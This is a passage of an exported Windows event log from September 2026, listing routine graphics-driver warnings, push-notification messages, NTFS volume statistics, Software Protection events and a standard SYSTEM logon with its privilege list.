refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:43:28.288\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:28.288\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:28.288\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:28.302\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:31.954\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:43:32.291\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:43:35.473\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_DeviceGuard, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:43:41.192\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T01:43:41Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:43:44.968\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:52.998\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n\n           UserFileReads: 144285\n           UserFileReadBytes: 7149538816\n           UserDiskReads: 145299\n           UserFileWrites: 39531\n           UserFileWriteBytes: 1401008128\n           UserDiskWrites: 47950\n\n           MetaDataReads: 45270\n           MetaDataReadBytes: 196149248\n           MetaDataDiskReads: 66993\n           MetaDataWrites: 24396\n           MetaDataWriteBytes: 200843264\n           MetaDataDiskWrites: 31243\n\n           MftReads: 43137\n           MftReadBytes: 176717824\n           MftWrites: 21593\n           MftWriteBytes: 171913216\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 10\n           BitmapReadBytes: 9830400\n           BitmapWrites: 2685\n           BitmapWriteBytes: 23367680\n           MftBitmapReads: 4\n           MftBitmapReadBytes: 208896\n           MftBitmapWrites: 46\n           MftBitmapWriteBytes: 360448\n           UserIndexReads: 23287\n           UserIndexReadBytes: 102342656\n           UserIndexWrites: 7067\n           UserIndexWriteBytes: 46972928\n           LogFileReads: 8\n           LogFileReadBytes: 32768\n           LogFileWrites: 18653\n           LogFileWriteBytes: 232017920\n           LogFileFull: 1\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 1\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 462\n                     VolumeTrimTime (ms): 3424\n                     VolumeTrimSize (KB): 10246628\n                     AvgVolumeTrimTime (ms): 7\n                     AvgVolumeTrimSize (KB): 22178\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 2\n                     FileLevelTrimTime (ms): 42\n                     FileLevelTrimSize (KB): 19737276\n                     AvgFileLevelTrimTime (ms): 21\n                     AvgFileLevelTrimSize (KB): 9868638\n           NtfsFillStatInfoFromMftRecordCalledCount: 5488\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:52.998\t171\t\"File-Level Trim Summary:\n\n           Volume Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Is boot volume: true\n           \n           Period duration (us): 903808373\n           \n           Operation count: 4\n           Reposted operation count: 0\n           Failed operation count: 0\n           Operation range count: 4\n           Operation byte count: 0\n           Operation long range byte count 18446744073709547516\n           Unaligned range count: 0\n           Bytes in unaligned ranges: 0\n           Operation trim extent count: 6\n           Non-blocking aligned trim byte count: 0\n           Reclaimed byte count: 32575778816\n           \n           Byte count bucket values: [4 KB, 64 KB, 1 MB, 16 MB, 128 MB, 1 GB, 16 GB, 128 GB, 1 TB, 16 TB, 1 EB, 1+ EB]\n           \n           Operation counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4]\n           Operation byte counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n           Operation bytes reclaimed: [0, 0, 0, 0, 23, 0, 62263, 0, 0, 0, 0, 0]\n           Operation latency (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79]\n           \n           Latency bucket values: [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2s, 6s, 10s, 20s, 1m, 5m, 15m, 15m+]\n           \n           Operation latency count: [1, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n           \n           Top failure status codes and instance counts:\n               0x0      0\n               0x0      0\n               0x0      0\n               0x0      0\n               0x0      0\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:53.001\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n\n           UserFileReads: 3\n           UserFileReadBytes: 12288\n           UserDiskReads: 1\n           UserFileWrites: 0\n           UserFileWriteBytes: 0\n           UserDiskWrites: 0\n\n           MetaDataReads: 45\n           MetaDataReadBytes: 20856832\n           MetaDataDiskReads: 49\n           MetaDataWrites: 8\n           MetaDataWriteBytes: 49152\n           MetaDataDiskWrites: 12\n\n           MftReads: 11\n           MftReadBytes: 73728\n           MftWrites: 7\n           MftWriteBytes: 45056\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 20\n           BitmapReadBytes: 20537344\n           BitmapWrites: 0\n           BitmapWriteBytes: 0\n           MftBitmapReads: 1\n           MftBitmapReadBytes: 8192\n           MftBitmapWrites: 0\n           MftBitmapWriteBytes: 0\n           UserIndexReads: 3\n           UserIndexReadBytes: 12288\n           UserIndexWrites: 4\n           UserIndexWriteBytes: 16384\n           LogFileReads: 8\n           LogFileReadBytes: 32768\n           LogFileWrites: 27\n           LogFileWriteBytes: 114688\n           LogFileFull: 0\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 0\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 0\n                     VolumeTrimTime (ms): 0\n                     VolumeTrimSize (KB): 0\n                     AvgVolumeTrimTime (ms): 0\n                     AvgVolumeTrimSize (KB): 0\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 0\n                     FileLevelTrimTime (ms): 0\n                     FileLevelTrimSize (KB): 0\n                     AvgFileLevelTrimTime (ms): 0\n                     AvgFileLevelTrimSize (KB): 0\n           NtfsFillStatInfoFromMftRecordCalledCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:53.001\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n\n           UserFileReads: 5\n           UserFileReadBytes: 20480\n           UserDiskReads: 5\n           UserFileWrites: 0\n           UserFileWriteBytes: 0\n           UserDiskWrites: 0\n\n           MetaDataReads: 14\n           MetaDataReadBytes: 245760\n           MetaDataDiskReads: 16\n           MetaDataWrites: 4\n           MetaDataWriteBytes: 28672\n           MetaDataDiskWrites: 6\n\n           MftReads: 7\n           MftReadBytes: 57344\n           MftWrites: 4\n           MftWriteBytes: 28672\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 1\n           BitmapReadBytes: 32768\n           BitmapWrites: 0\n           BitmapWriteBytes: 0\n           MftBitmapReads: 1\n           MftBitmapReadBytes: 8192\n           MftBitmapWrites: 0\n           MftBitmapWriteBytes: 0\n           UserIndexReads: 1\n           UserIndexReadBytes: 4096\n           UserIndexWrites: 2\n           UserIndexWriteBytes: 8192\n           LogFileReads: 8\n           LogFileReadBytes: 32768\n           LogFileWrites: 20\n           LogFileWriteBytes: 81920\n           LogFileFull: 0\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 0\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 0\n                     VolumeTrimTime (ms): 0\n                     VolumeTrimSize (KB): 0\n                     AvgVolumeTrimTime (ms): 0\n                     AvgVolumeTrimSize (KB): 0\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 0\n                     FileLevelTrimTime (ms): 0\n                     FileLevelTrimSize (KB): 0\n                     AvgFileLevelTrimTime (ms): 0\n                     AvgFileLevelTrimSize (KB): 0\n           NtfsFillStatInfoFromMftRecordCalledCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:53.001\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n\n           UserFileReads: 18\n           UserFileReadBytes: 208896\n           UserDiskReads: 18\n           UserFileWrites: 0\n           UserFileWriteBytes: 0\n           UserDiskWrites: 0\n\n           MetaDataReads: 18\n           MetaDataReadBytes: 1048576\n           MetaDataDiskReads: 20\n           MetaDataWrites: 5\n           MetaDataWriteBytes: 40960\n           MetaDataDiskWrites: 8\n\n           MftReads: 11\n           MftReadBytes: 73728\n           MftWrites: 5\n           MftWriteBytes: 40960\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 1\n           BitmapReadBytes: 819200\n           BitmapWrites: 0\n           BitmapWriteBytes: 0\n           MftBitmapReads: 1\n           MftBitmapReadBytes: 8192\n           MftBitmapWrites: 0\n           MftBitmapWriteBytes: 0\n           UserIndexReads: 1\n           UserIndexReadBytes: 4096\n           UserIndexWrites: 3\n           UserIndexWriteBytes: 12288\n           LogFileReads: 8\n           LogFileReadBytes: 32768\n           LogFileWrites: 24\n           LogFileWriteBytes: 102400\n           LogFileFull: 0\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 0\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 0\n                     VolumeTrimTime (ms): 0\n                     VolumeTrimSize (KB): 0\n                     AvgVolumeTrimTime (ms): 0\n                     AvgVolumeTrimSize (KB): 0\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 0\n                     FileLevelTrimTime (ms): 0\n                     FileLevelTrimSize (KB): 0\n                     AvgFileLevelTrimTime (ms): 0\n                     AvgFileLevelTrimSize (KB): 0\n           NtfsFillStatInfoFromMftRecordCalledCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:53.001\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n\n           UserFileReads: 4\n           UserFileReadBytes: 16384\n           UserDiskReads: 1\n           UserFileWrites: 0\n           UserFileWriteBytes: 0\n           UserDiskWrites: 0\n\n           MetaDataReads: 43\n           MetaDataReadBytes: 6959104\n           MetaDataDiskReads: 47\n           MetaDataWrites: 5\n           MetaDataWriteBytes: 40960\n           MetaDataDiskWrites: 8\n\n           MftReads: 14\n           MftReadBytes: 86016\n           MftWrites: 5\n           MftWriteBytes: 40960\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 7\n           BitmapReadBytes: 6557696\n           BitmapWrites: 0\n           BitmapWriteBytes: 0\n           MftBitmapReads: 1\n           MftBitmapReadBytes: 45056\n           MftBitmapWrites: 0\n           MftBitmapWriteBytes: 0\n           UserIndexReads: 4\n           UserIndexReadBytes: 16384\n           UserIndexWrites: 3\n           UserIndexWriteBytes: 12288\n           LogFileReads: 7\n           LogFileReadBytes: 28672\n           LogFileWrites: 19\n           LogFileWriteBytes: 77824\n           LogFileFull: 0\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 0\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 0\n                     VolumeTrimTime (ms): 0\n                     VolumeTrimSize (KB): 0\n                     AvgVolumeTrimTime (ms): 0\n                     AvgVolumeTrimSize (KB): 0\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 0\n                     FileLevelTrimTime (ms): 0\n                     FileLevelTrimSize (KB): 0\n                     AvgFileLevelTrimTime (ms): 0\n                     AvgFileLevelTrimSize (KB): 0\n           NtfsFillStatInfoFromMftRecordCalledCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:53.001\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n\n           UserFileReads: 3817\n           UserFileReadBytes: 221736960\n           UserDiskReads: 3812\n           UserFileWrites: 0\n           UserFileWriteBytes: 0\n           UserDiskWrites: 0\n\n           MetaDataReads: 13270\n           MetaDataReadBytes: 76025856\n           MetaDataDiskReads: 24737\n           MetaDataWrites: 5308\n           MetaDataWriteBytes: 39563264\n           MetaDataDiskWrites: 7171\n\n           MftReads: 13172\n           MftReadBytes: 53981184\n           MftWrites: 5308\n           MftWriteBytes: 39563264\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 21\n           BitmapReadBytes: 21409792\n           BitmapWrites: 0\n           BitmapWriteBytes: 0\n           MftBitmapReads: 3\n           MftBitmapReadBytes: 147456\n           MftBitmapWrites: 0\n           MftBitmapWriteBytes: 0\n           UserIndexReads: 11466\n           UserIndexReadBytes: 47067136\n           UserIndexWrites: 1863\n           UserIndexWriteBytes: 9351168\n           LogFileReads: 7\n           LogFileReadBytes: 28672\n           LogFileWrites: 388\n           LogFileWriteBytes: 10125312\n           LogFileFull: 0\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 0\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 0\n                     VolumeTrimTime (ms): 0\n                     VolumeTrimSize (KB): 0\n                     AvgVolumeTrimTime (ms): 0\n                     AvgVolumeTrimSize (KB): 0\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 0\n                     FileLevelTrimTime (ms): 0\n                     FileLevelTrimSize (KB): 0\n                     AvgFileLevelTrimTime (ms): 0\n                     AvgFileLevelTrimSize (KB): 0\n           NtfsFillStatInfoFromMftRecordCalledCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:53.001\t158\t\"NTFS metadata statistics for volume:\n\n           Volume Id: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n\n           UserFileReads: 1\n           UserFileReadBytes: 4096\n           UserDiskReads: 1\n           UserFileWrites: 0\n           UserFileWriteBytes: 0\n           UserDiskWrites: 0\n\n           MetaDataReads: 28\n           MetaDataReadBytes: 2891776\n           MetaDataDiskReads: 30\n           MetaDataWrites: 2\n           MetaDataWriteBytes: 24576\n           MetaDataDiskWrites: 4\n\n           MftReads: 9\n           MftReadBytes: 65536\n           MftWrites: 2\n           MftWriteBytes: 24576\n           Mft2Writes: 0\n           Mft2WriteBytes: 0\n           RootIndexReads: 0\n           RootIndexReadBytes: 0\n           RootIndexWrites: 0\n           RootIndexWriteBytes: 0\n           BitmapReads: 3\n           BitmapReadBytes: 2564096\n           BitmapWrites: 0\n           BitmapWriteBytes: 0\n           MftBitmapReads: 1\n           MftBitmapReadBytes: 16384\n           MftBitmapWrites: 0\n           MftBitmapWriteBytes: 0\n           UserIndexReads: 2\n           UserIndexReadBytes: 8192\n           UserIndexWrites: 2\n           UserIndexWriteBytes: 8192\n           LogFileReads: 7\n           LogFileReadBytes: 28672\n           LogFileWrites: 17\n           LogFileWriteBytes: 69632\n           LogFileFull: 0\n           LogFileFullReasons:\n                     LF_LOG_SPACE: 0\n                     LF_DIRTY_PAGES: 0\n                     LF_OPEN_ATTRIBUTES: 0\n                     LF_TRANSACTION_DRAIN: 0\n                     LF_FASTIO_CALLBACK: 0\n                     LF_DEALLOCATED_CLUSTERS: 0\n                     LF_DEALLOCATED_CLUSTERS_MEM: 0\n                     LF_RECORD_STACK_CHECK: 0\n                     LF_DISMOUNT: 0\n                     LF_COMPRESSION: 0\n                     LF_SNAPSHOT: 0\n                     LF_MOUNT: 0\n                     LF_SHUTDOWN: 0\n                     LF_RECURSIVE_COMPRESSION: 0\n                     LF_TESTING: 0\n\n           DiskResourceFailure: 0\n           VolumeTrimCount: 0\n                     VolumeTrimTime (ms): 0\n                     VolumeTrimSize (KB): 0\n                     AvgVolumeTrimTime (ms): 0\n                     AvgVolumeTrimSize (KB): 0\n           VolumeTrimSkippedCount: 0\n                     VolumeTrimSkippedSize (KB): 0\n           FileLevelTrimCount: 0\n                     FileLevelTrimTime (ms): 0\n                     FileLevelTrimSize (KB): 0\n                     AvgFileLevelTrimTime (ms): 0\n                     AvgFileLevelTrimSize (KB): 0\n           NtfsFillStatInfoFromMftRecordCalledCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount: 0\n           NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:43:56.735\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:43:57.912\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:57.912\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:00.855\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:01.045\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:44:02.069\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:44:02.090\t201\tCreated process 5140 for application Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer in package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe. [FinishPackageActivation]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:44:02.300\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:02.968\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:03.192\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:03.416\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:03.639\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:03.843\t102\t\"Global Periodic Cache Information:\n\n                       Period Duration (microseconds): 916208946\n                       Number of NUMA Nodes: 111364\n                       Event Samples: 1\n                       Total Number of Mapped VACBs: 8256\n                       Total Partition Samples: 1\n                       Total Volume Samples: 10\n                       Total Pages Yet to Write: 166\n                       Total Dirty Pages: 158\n                       Total Available Pages: 4198001\n                       Total Physical Pages: 6167902\n                       Total Number of Worker Threads: 40\n                       Total Number of Active Worker Threads: 0\n                       Total Average Available Pages: 42725404\n                       Total Average Dirty Pages: 671\n                       CopyRead Calls: 821540\n                       AsyncCopyRead Calls: 1583\n                       